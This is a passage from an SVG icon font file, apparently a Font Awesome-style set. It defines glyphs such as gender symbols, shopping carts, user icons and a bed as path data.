d="M863 504q0 112 -79.5 191.5t-191.5 79.5t-191 -79.5t-79 -191.5t79 -191t191 -79t191.5 79t79.5 191zM1726 505q0 112 -79 191t-191 79t-191.5 -79t-79.5 -191q0 -113 79.5 -192t191.5 -79t191 79.5t79 191.5zM2048 1314v-1348q0 -44 -31.5 -75.5t-76.5 -31.5h-1832
q-45 0 -76.5 31.5t-31.5 75.5v1348q0 44 31.5 75.5t76.5 31.5h431q44 0 76 -31.5t32 -75.5v-161h754v161q0 44 32 75.5t76 31.5h431q45 0 76.5 -31.5t31.5 -75.5z" />
    <glyph glyph-name="_501" unicode="&#xf216;" horiz-adv-x="2048" 
d="M1430 953zM1690 749q148 0 253 -98.5t105 -244.5q0 -157 -109 -261.5t-267 -104.5q-85 0 -162 27.5t-138 73.5t-118 106t-109 126t-103.5 132.5t-108.5 126.5t-117 106t-136 73.5t-159 27.5q-154 0 -251.5 -91.5t-97.5 -244.5q0 -157 104 -250t263 -93q100 0 208 37.5
t193 98.5q5 4 21 18.5t30 24t22 9.5q14 0 24.5 -10.5t10.5 -24.5q0 -24 -60 -77q-101 -88 -234.5 -142t-260.5 -54q-133 0 -245.5 58t-180 165t-67.5 241q0 205 141.5 341t347.5 136q120 0 226.5 -43.5t185.5 -113t151.5 -153t139 -167.5t133.5 -153.5t149.5 -113
t172.5 -43.5q102 0 168.5 61.5t66.5 162.5q0 95 -64.5 159t-159.5 64q-30 0 -81.5 -18.5t-68.5 -18.5q-20 0 -35.5 15t-15.5 35q0 18 8.5 57t8.5 59q0 159 -107.5 263t-266.5 104q-58 0 -111.5 -18.5t-84 -40.5t-55.5 -40.5t-33 -18.5q-15 0 -25.5 10.5t-10.5 25.5
q0 19 25 46q59 67 147 103.5t182 36.5q191 0 318 -125.5t127 -315.5q0 -37 -4 -66q57 15 115 15z" />
    <glyph glyph-name="_502" unicode="&#xf217;" horiz-adv-x="1664" 
d="M1216 832q0 26 -19 45t-45 19h-128v128q0 26 -19 45t-45 19t-45 -19t-19 -45v-128h-128q-26 0 -45 -19t-19 -45t19 -45t45 -19h128v-128q0 -26 19 -45t45 -19t45 19t19 45v128h128q26 0 45 19t19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_503" unicode="&#xf218;" horiz-adv-x="1664" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19l-147 -146v293q0 26 -19 45t-45 19t-45 -19t-19 -45v-293l-147 146q-19 19 -45 19t-45 -19t-19 -45t19 -45l256 -256q19 -19 45 -19t45 19l256 256q19 19 19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_504" unicode="&#xf219;" horiz-adv-x="2048" 
d="M212 768l623 -665l-300 665h-323zM1024 -4l349 772h-698zM538 896l204 384h-262l-288 -384h346zM1213 103l623 665h-323zM683 896h682l-204 384h-274zM1510 896h346l-288 384h-262zM1651 1382l384 -512q14 -18 13 -41.5t-17 -40.5l-960 -1024q-18 -20 -47 -20t-47 20
l-960 1024q-16 17 -17 40.5t13 41.5l384 512q18 26 51 26h1152q33 0 51 -26z" />
    <glyph glyph-name="_505" unicode="&#xf21a;" horiz-adv-x="2048" 
d="M1811 -19q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83
q19 19 45 19t45 -19l83 -83zM237 19q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -82l83 82q19 19 45 19t45 -19l83 -82l64 64v293l-210 314q-17 26 -7 56.5t40 40.5l177 58v299h128v128h256v128h256v-128h256v-128h128v-299l177 -58q30 -10 40 -40.5t-7 -56.5l-210 -314
v-293l19 18q19 19 45 19t45 -19l83 -82l83 82q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83zM640 1152v-128l384 128l384 -128v128h-128v128h-512v-128h-128z" />
    <glyph glyph-name="_506" unicode="&#xf21b;" 
d="M576 0l96 448l-96 128l-128 64zM832 0l128 640l-128 -64l-96 -128zM992 1010q-2 4 -4 6q-10 8 -96 8q-70 0 -167 -19q-7 -2 -21 -2t-21 2q-97 19 -167 19q-86 0 -96 -8q-2 -2 -4 -6q2 -18 4 -27q2 -3 7.5 -6.5t7.5 -10.5q2 -4 7.5 -20.5t7 -20.5t7.5 -17t8.5 -17t9 -14
t12 -13.5t14 -9.5t17.5 -8t20.5 -4t24.5 -2q36 0 59 12.5t32.5 30t14.5 34.5t11.5 29.5t17.5 12.5h12q11 0 17.5 -12.5t11.5 -29.5t14.5 -34.5t32.5 -30t59 -12.5q13 0 24.5 2t20.5 4t17.5 8t14 9.5t12 13.5t9 14t8.5 17t7.5 17t7 20.5t7.5 20.5q2 7 7.5 10.5t7.5 6.5
q2 9 4 27zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 61 4.5 118t19 125.5t37.5 123.5t63.5 103.5t93.5 74.5l-90 220h214q-22 64 -22 128q0 12 2 32q-194 40 -194 96q0 57 210 99q17 62 51.5 134t70.5 114q32 37 76 37q30 0 84 -31t84 -31t84 31
t84 31q44 0 76 -37q36 -42 70.5 -114t51.5 -134q210 -42 210 -99q0 -56 -194 -96q7 -81 -20 -160h214l-82 -225q63 -33 107.5 -96.5t65.5 -143.5t29 -151.5t8 -148.5z" />
    <glyph glyph-name="_507" unicode="&#xf21c;" horiz-adv-x="2304" 
d="M2301 500q12 -103 -22 -198.5t-99 -163.5t-158.5 -106t-196.5 -31q-161 11 -279.5 125t-134.5 274q-12 111 27.5 210.5t118.5 170.5l-71 107q-96 -80 -151 -194t-55 -244q0 -27 -18.5 -46.5t-45.5 -19.5h-256h-69q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5
t-131.5 316.5t131.5 316.5t316.5 131.5q76 0 152 -27l24 45q-123 110 -304 110h-64q-26 0 -45 19t-19 45t19 45t45 19h128q78 0 145 -13.5t116.5 -38.5t71.5 -39.5t51 -36.5h512h115l-85 128h-222q-30 0 -49 22.5t-14 52.5q4 23 23 38t43 15h253q33 0 53 -28l70 -105
l114 114q19 19 46 19h101q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-179l115 -172q131 63 275 36q143 -26 244 -134.5t118 -253.5zM448 128q115 0 203 72.5t111 183.5h-314q-35 0 -55 31q-18 32 -1 63l147 277q-47 13 -91 13q-132 0 -226 -94t-94 -226t94 -226
t226 -94zM1856 128q132 0 226 94t94 226t-94 226t-226 94q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94z" />
    <glyph glyph-name="_508" unicode="&#xf21d;" 
d="M1408 0q0 -63 -61.5 -113.5t-164 -81t-225 -46t-253.5 -15.5t-253.5 15.5t-225 46t-164 81t-61.5 113.5q0 49 33 88.5t91 66.5t118 44.5t131 29.5q26 5 48 -10.5t26 -41.5q5 -26 -10.5 -48t-41.5 -26q-58 -10 -106 -23.5t-76.5 -25.5t-48.5 -23.5t-27.5 -19.5t-8.5 -12
q3 -11 27 -26.5t73 -33t114 -32.5t160.5 -25t201.5 -10t201.5 10t160.5 25t114 33t73 33.5t27 27.5q-1 4 -8.5 11t-27.5 19t-48.5 23.5t-76.5 25t-106 23.5q-26 4 -41.5 26t-10.5 48q4 26 26 41.5t48 10.5q71 -12 131 -29.5t118 -44.5t91 -66.5t33 -88.5zM1024 896v-384
q0 -26 -19 -45t-45 -19h-64v-384q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v384h-64q-26 0 -45 19t-19 45v384q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5zM928 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5
t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_509" unicode="&#xf21e;" horiz-adv-x="1792" 
d="M1280 512h305q-5 -6 -10 -10.5t-9 -7.5l-3 -4l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-5 2 -21 20h369q22 0 39.5 13.5t22.5 34.5l70 281l190 -667q6 -20 23 -33t39 -13q21 0 38 13t23 33l146 485l56 -112q18 -35 57 -35zM1792 940q0 -145 -103 -300h-369l-111 221
q-8 17 -25.5 27t-36.5 8q-45 -5 -56 -46l-129 -430l-196 686q-6 20 -23.5 33t-39.5 13t-39 -13.5t-22 -34.5l-116 -464h-423q-103 155 -103 300q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124
t127 -344z" />
    <glyph glyph-name="venus" unicode="&#xf221;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292
q11 134 80.5 249t182 188t245.5 88q170 19 319 -54t236 -212t87 -306zM128 960q0 -185 131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5z" />
    <glyph glyph-name="_511" unicode="&#xf222;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-382 -383q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5
q203 0 359 -126l382 382h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_512" unicode="&#xf223;" horiz-adv-x="1280" 
d="M830 1220q145 -72 233.5 -210.5t88.5 -305.5q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5
t-147.5 384.5q0 167 88.5 305.5t233.5 210.5q-165 96 -228 273q-6 16 3.5 29.5t26.5 13.5h69q21 0 29 -20q44 -106 140 -171t214 -65t214 65t140 171q8 20 37 20h61q17 0 26.5 -13.5t3.5 -29.5q-63 -177 -228 -273zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_513" unicode="&#xf224;" 
d="M1024 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-149 16 -270.5 103t-186.5 223.5t-53 291.5q16 204 160 353.5t347 172.5q118 14 228 -19t198 -103l255 254h-134q-14 0 -23 9t-9 23v64zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_514" unicode="&#xf225;" horiz-adv-x="1792" 
d="M1280 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5t-147.5 384.5q0 201 126 359l-52 53l-101 -111q-9 -10 -22 -10.5t-23 7.5l-48 44q-10 8 -10.5 21.5t8.5 23.5l105 115l-111 112v-134q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9
t-9 23v288q0 26 19 45t45 19h288q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-133l106 -107l86 94q9 10 22 10.5t23 -7.5l48 -44q10 -8 10.5 -21.5t-8.5 -23.5l-90 -99l57 -56q158 126 359 126t359 -126l255 254h-134q-14 0 -23 9t-9 23v64zM832 256q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_515" unicode="&#xf226;" horiz-adv-x="1792" 
d="M1790 1007q12 -155 -52.5 -292t-186 -224t-271.5 -103v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-512v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23
t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292q17 206 164.5 356.5t352.5 169.5q206 21 377 -94q171 115 377 94q205 -19 352.5 -169.5t164.5 -356.5zM896 647q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM576 512q115 0 218 57q-154 165 -154 391
q0 224 154 391q-103 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5zM1152 128v260q-137 15 -256 94q-119 -79 -256 -94v-260h512zM1216 512q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5q-115 0 -218 -57q154 -167 154 -391
q0 -226 -154 -391q103 -57 218 -57z" />
    <glyph glyph-name="_516" unicode="&#xf227;" horiz-adv-x="1920" 
d="M1536 1120q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-31 -182 -166 -312t-318 -156q-210 -29 -384.5 80t-241.5 300q-117 6 -221 57.5t-177.5 133t-113.5 192.5t-32 230
q9 135 78 252t182 191.5t248 89.5q118 14 227.5 -19t198.5 -103l255 254h-134q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q59 -74 93 -169q182 -9 328 -124l255 254h-134q-14 0 -23 9
t-9 23v64zM1024 704q0 20 -4 58q-162 -25 -271 -150t-109 -292q0 -20 4 -58q162 25 271 150t109 292zM128 704q0 -168 111 -294t276 -149q-3 29 -3 59q0 210 135 369.5t338 196.5q-53 120 -163.5 193t-245.5 73q-185 0 -316.5 -131.5t-131.5 -316.5zM1088 -128
q185 0 316.5 131.5t131.5 316.5q0 168 -111 294t-276 149q3 -28 3 -59q0 -210 -135 -369.5t-338 -196.5q53 -120 163.5 -193t245.5 -73z" />
    <glyph glyph-name="_517" unicode="&#xf228;" horiz-adv-x="2048" 
d="M1664 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-32 -180 -164.5 -310t-313.5 -157q-223 -34 -409 90q-117 -78 -256 -93v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23
t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-155 17 -279.5 109.5t-187 237.5t-39.5 307q25 187 159.5 322.5t320.5 164.5q224 34 410 -90q146 97 320 97q201 0 359 -126l255 254h-134q-14 0 -23 9
t-9 23v64zM896 391q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM128 704q0 -185 131.5 -316.5t316.5 -131.5q117 0 218 57q-154 167 -154 391t154 391q-101 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5zM1216 256q185 0 316.5 131.5t131.5 316.5
t-131.5 316.5t-316.5 131.5q-117 0 -218 -57q154 -167 154 -391t-154 -391q101 -57 218 -57z" />
    <glyph glyph-name="_518" unicode="&#xf229;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-213 -214l140 -140q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-140 141l-78 -79q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5
t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5q203 0 359 -126l78 78l-172 172q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l172 -172l213 213h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_519" unicode="&#xf22a;" horiz-adv-x="1280" 
d="M640 892q217 -24 364.5 -187.5t147.5 -384.5q0 -167 -87 -306t-236 -212t-319 -54q-133 15 -245.5 88t-182 188t-80.5 249q-12 155 52.5 292t186 224t271.5 103v132h-160q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h160v165l-92 -92q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22
t9 23l202 201q19 19 45 19t45 -19l202 -201q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-92 92v-165h160q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-160v-132zM576 -128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5
t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_520" unicode="&#xf22b;" horiz-adv-x="2048" 
d="M1901 621q19 -19 19 -45t-19 -45l-294 -294q-9 -10 -22.5 -10t-22.5 10l-45 45q-10 9 -10 22.5t10 22.5l185 185h-294v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-132q-24 -217 -187.5 -364.5t-384.5 -147.5q-167 0 -306 87t-212 236t-54 319q15 133 88 245.5
t188 182t249 80.5q155 12 292 -52.5t224 -186t103 -271.5h132v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224h294l-185 185q-10 9 -10 22.5t10 22.5l45 45q9 10 22.5 10t22.5 -10zM576 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5
t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_521" unicode="&#xf22c;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-612q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v612q-217 24 -364.5 187.5t-147.5 384.5q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM576 512q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_522" unicode="&#xf22d;" horiz-adv-x="1280" 
d="M1024 576q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1152 576q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123
t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5z" />
    <glyph glyph-name="_523" unicode="&#xf22e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_524" unicode="&#xf22f;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_525" unicode="&#xf230;" 
d="M1451 1408q35 0 60 -25t25 -60v-1366q0 -35 -25 -60t-60 -25h-391v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-735q-35 0 -60 25t-25 60v1366q0 35 25 60t60 25h1366z" />
    <glyph glyph-name="_526" unicode="&#xf231;" horiz-adv-x="1280" 
d="M0 939q0 108 37.5 203.5t103.5 166.5t152 123t185 78t202 26q158 0 294 -66.5t221 -193.5t85 -287q0 -96 -19 -188t-60 -177t-100 -149.5t-145 -103t-189 -38.5q-68 0 -135 32t-96 88q-10 -39 -28 -112.5t-23.5 -95t-20.5 -71t-26 -71t-32 -62.5t-46 -77.5t-62 -86.5
l-14 -5l-9 10q-15 157 -15 188q0 92 21.5 206.5t66.5 287.5t52 203q-32 65 -32 169q0 83 52 156t132 73q61 0 95 -40.5t34 -102.5q0 -66 -44 -191t-44 -187q0 -63 45 -104.5t109 -41.5q55 0 102 25t78.5 68t56 95t38 110.5t20 111t6.5 99.5q0 173 -109.5 269.5t-285.5 96.5
q-200 0 -334 -129.5t-134 -328.5q0 -44 12.5 -85t27 -65t27 -45.5t12.5 -30.5q0 -28 -15 -73t-37 -45q-2 0 -17 3q-51 15 -90.5 56t-61 94.5t-32.5 108t-11 106.5z" />
    <glyph glyph-name="_527" unicode="&#xf232;" 
d="M985 562q13 0 97.5 -44t89.5 -53q2 -5 2 -15q0 -33 -17 -76q-16 -39 -71 -65.5t-102 -26.5q-57 0 -190 62q-98 45 -170 118t-148 185q-72 107 -71 194v8q3 91 74 158q24 22 52 22q6 0 18 -1.5t19 -1.5q19 0 26.5 -6.5t15.5 -27.5q8 -20 33 -88t25 -75q0 -21 -34.5 -57.5
t-34.5 -46.5q0 -7 5 -15q34 -73 102 -137q56 -53 151 -101q12 -7 22 -7q15 0 54 48.5t52 48.5zM782 32q127 0 243.5 50t200.5 134t134 200.5t50 243.5t-50 243.5t-134 200.5t-200.5 134t-243.5 50t-243.5 -50t-200.5 -134t-134 -200.5t-50 -243.5q0 -203 120 -368l-79 -233
l242 77q158 -104 345 -104zM782 1414q153 0 292.5 -60t240.5 -161t161 -240.5t60 -292.5t-60 -292.5t-161 -240.5t-240.5 -161t-292.5 -60q-195 0 -365 94l-417 -134l136 405q-108 178 -108 389q0 153 60 292.5t161 240.5t240.5 161t292.5 60z" />
    <glyph glyph-name="_528" unicode="&#xf233;" horiz-adv-x="1792" 
d="M128 128h1024v128h-1024v-128zM128 640h1024v128h-1024v-128zM1696 192q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM128 1152h1024v128h-1024v-128zM1696 704q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1696 1216
q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1792 384v-384h-1792v384h1792zM1792 896v-384h-1792v384h1792zM1792 1408v-384h-1792v384h1792z" />
    <glyph glyph-name="_529" unicode="&#xf234;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1664 512h352q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-352q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5
t-9.5 22.5v352h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v352q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5v-352zM928 288q0 -52 38 -90t90 -38h256v-238q-68 -50 -171 -50h-874q-121 0 -194 69t-73 190q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q79 -61 154.5 -91.5t164.5 -30.5t164.5 30.5t154.5 91.5q20 17 39 17q132 0 217 -96h-223q-52 0 -90 -38t-38 -90v-192z" />
    <glyph glyph-name="_530" unicode="&#xf235;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1781 320l249 -249q9 -9 9 -23q0 -13 -9 -22l-136 -136q-9 -9 -22 -9q-14 0 -23 9l-249 249l-249 -249q-9 -9 -23 -9q-13 0 -22 9l-136 136
q-9 9 -9 22q0 14 9 23l249 249l-249 249q-9 9 -9 23q0 13 9 22l136 136q9 9 22 9q14 0 23 -9l249 -249l249 249q9 9 23 9q13 0 22 -9l136 -136q9 -9 9 -22q0 -14 -9 -23zM1283 320l-181 -181q-37 -37 -37 -91q0 -53 37 -90l83 -83q-21 -3 -44 -3h-874q-121 0 -194 69
t-73 190q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q154 -122 319 -122t319 122q20 17 39 17q28 0 57 -6q-28 -27 -41 -50t-13 -56q0 -54 37 -91z" />
    <glyph glyph-name="_531" unicode="&#xf236;" horiz-adv-x="2048" 
d="M256 512h1728q26 0 45 -19t19 -45v-448h-256v256h-1536v-256h-256v1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-704zM832 832q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM2048 576v64q0 159 -112.5 271.5t-271.5 112.5h-704
q-26 0 -45 -19t-19 -45v-384h1152z" />
    <glyph glyph-name="_532" unicode="&#xf237;" 
d="M1536 1536l-192 -448h192v-192h-274l-55 -128h329v-192h-411l-357 -832l-357 832h-411v192h329l-55 128h-274v192h192l-192 448h256l323 -768h378l323 768h256zM768 320l108 256h-216z" />
    <glyph glyph-name="_533" unicode="&#xf238;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM768 192q80 0 136 56t56 136t-56 136t-136 56
t-136 -56t-56 -136t56 -136t136 -56zM1344 768v512h-1152v-512h1152z" />
    <glyph glyph-name="_534" unicode="&#xf239;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM288 224q66 0 113 47t47 113t-47 113t-113 47
t-113 -47t-47 -113t47 -113t113 -47zM704 768v512h-544v-512h544zM1248 224q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM1408 768v512h-576v-512h576z" />
